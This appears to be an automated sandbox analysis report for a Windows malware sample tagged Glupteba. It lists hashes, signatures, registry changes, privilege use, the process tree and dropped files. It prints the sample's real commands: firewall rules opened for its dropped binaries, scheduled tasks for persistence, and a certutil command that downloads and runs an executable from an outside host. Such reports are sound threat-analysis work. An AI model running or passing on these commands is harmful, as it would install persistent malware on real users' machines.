Analysis
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max time kernel
164s -
max time network
192s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 07:03
Static task
static1
Behavioral task
behavioral1
Sample
bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe
Resource
win7-20220414-en
General
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Target
bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe
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Size
3.8MB
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MD5
8c3064332c06033b41fa36b82aa425b5
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SHA1
331a6343c6fbe5c5e22944f104bd86cb11c80d97
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SHA256
bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8
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SHA512
a53755532b237d3bb1ac5f1ad89adec66edae8ca913a1de433fdb46fbe4c7681643d6d9efa8174bed300ac60edf12bda34d36e148e2b543741a0a10ef17d8e01
Malware Config
Signatures
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Glupteba Payload 5 IoCs
Processes:
resource yara_rule behavioral2/memory/4784-131-0x0000000003830000-0x0000000003F22000-memory.dmp family_glupteba behavioral2/memory/4784-132-0x0000000000400000-0x000000000314A000-memory.dmp family_glupteba behavioral2/memory/3920-137-0x00000000037D0000-0x0000000003EC2000-memory.dmp family_glupteba behavioral2/memory/3920-138-0x0000000000400000-0x000000000314A000-memory.dmp family_glupteba behavioral2/memory/1460-147-0x0000000000400000-0x000000000314A000-memory.dmp family_glupteba -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 488 created 4784 488 svchost.exe bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe PID 488 created 1460 488 svchost.exe csrss.exe PID 488 created 1460 488 svchost.exe csrss.exe PID 488 created 1460 488 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1460 csrss.exe 4964 patch.exe -
Modifies Windows Firewall 1 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PurpleWave = "\"C:\\Windows\\rss\\csrss.exe\"" bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 3572 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exedescription ioc process File opened for modification C:\Windows\rss bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe File created C:\Windows\rss\csrss.exe bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1580 schtasks.exe 5040 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 20 IoCs
Processes:
bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exebfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.execsrss.exepid process 4784 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe 4784 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe 3920 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe 3920 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe 1460 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 4784 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe Token: SeImpersonatePrivilege 4784 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe Token: SeTcbPrivilege 488 svchost.exe Token: SeTcbPrivilege 488 svchost.exe Token: SeBackupPrivilege 488 svchost.exe Token: SeRestorePrivilege 488 svchost.exe Token: SeBackupPrivilege 488 svchost.exe Token: SeRestorePrivilege 488 svchost.exe Token: SeSystemEnvironmentPrivilege 1460 csrss.exe Token: SeBackupPrivilege 488 svchost.exe Token: SeRestorePrivilege 488 svchost.exe Token: SeBackupPrivilege 488 svchost.exe Token: SeRestorePrivilege 488 svchost.exe Token: SeBackupPrivilege 488 svchost.exe Token: SeRestorePrivilege 488 svchost.exe Token: SeBackupPrivilege 488 svchost.exe Token: SeRestorePrivilege 488 svchost.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
svchost.exebfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.execmd.execmd.execsrss.exedescription pid process target process PID 488 wrote to memory of 3920 488 svchost.exe bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe PID 488 wrote to memory of 3920 488 svchost.exe bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe PID 488 wrote to memory of 3920 488 svchost.exe bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe PID 3920 wrote to memory of 2208 3920 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe cmd.exe PID 3920 wrote to memory of 2208 3920 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe cmd.exe PID 2208 wrote to memory of 4540 2208 cmd.exe netsh.exe PID 2208 wrote to memory of 4540 2208 cmd.exe netsh.exe PID 3920 wrote to memory of 4508 3920 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe cmd.exe PID 3920 wrote to memory of 4508 3920 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe cmd.exe PID 4508 wrote to memory of 2996 4508 cmd.exe netsh.exe PID 4508 wrote to memory of 2996 4508 cmd.exe netsh.exe PID 3920 wrote to memory of 1460 3920 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe csrss.exe PID 3920 wrote to memory of 1460 3920 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe csrss.exe PID 3920 wrote to memory of 1460 3920 bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe csrss.exe PID 488 wrote to memory of 1580 488 svchost.exe schtasks.exe PID 488 wrote to memory of 1580 488 svchost.exe schtasks.exe PID 488 wrote to memory of 5040 488 svchost.exe schtasks.exe PID 488 wrote to memory of 5040 488 svchost.exe schtasks.exe PID 488 wrote to memory of 4964 488 svchost.exe patch.exe PID 488 wrote to memory of 4964 488 svchost.exe patch.exe PID 1460 wrote to memory of 3572 1460 csrss.exe bcdedit.exe PID 1460 wrote to memory of 3572 1460 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe"C:\Users\Admin\AppData\Local\Temp\bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe"C:\Users\Admin\AppData\Local\Temp\bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes4⤵
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD58c3064332c06033b41fa36b82aa425b5
SHA1331a6343c6fbe5c5e22944f104bd86cb11c80d97
SHA256bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8
SHA512a53755532b237d3bb1ac5f1ad89adec66edae8ca913a1de433fdb46fbe4c7681643d6d9efa8174bed300ac60edf12bda34d36e148e2b543741a0a10ef17d8e01
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD58c3064332c06033b41fa36b82aa425b5
SHA1331a6343c6fbe5c5e22944f104bd86cb11c80d97
SHA256bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8
SHA512a53755532b237d3bb1ac5f1ad89adec66edae8ca913a1de433fdb46fbe4c7681643d6d9efa8174bed300ac60edf12bda34d36e148e2b543741a0a10ef17d8e01
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memory/1460-147-0x0000000000400000-0x000000000314A000-memory.dmpFilesize
45.3MB
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memory/1460-144-0x0000000003A00000-0x0000000003DA5000-memory.dmpFilesize
3.6MB
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memory/1460-141-0x0000000000000000-mapping.dmp
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memory/1580-145-0x0000000000000000-mapping.dmp
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memory/2208-134-0x0000000000000000-mapping.dmp
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memory/2996-140-0x0000000000000000-mapping.dmp
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memory/3572-150-0x0000000000000000-mapping.dmp
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memory/3920-138-0x0000000000400000-0x000000000314A000-memory.dmpFilesize
45.3MB
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memory/3920-137-0x00000000037D0000-0x0000000003EC2000-memory.dmpFilesize
6.9MB
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memory/3920-136-0x0000000003428000-0x00000000037CD000-memory.dmpFilesize
3.6MB
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memory/3920-133-0x0000000000000000-mapping.dmp
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memory/4508-139-0x0000000000000000-mapping.dmp
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memory/4540-135-0x0000000000000000-mapping.dmp
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memory/4784-130-0x0000000003482000-0x0000000003827000-memory.dmpFilesize
3.6MB
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memory/4784-132-0x0000000000400000-0x000000000314A000-memory.dmpFilesize
45.3MB
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memory/4784-131-0x0000000003830000-0x0000000003F22000-memory.dmpFilesize
6.9MB
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memory/4964-148-0x0000000000000000-mapping.dmp
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memory/5040-146-0x0000000000000000-mapping.dmp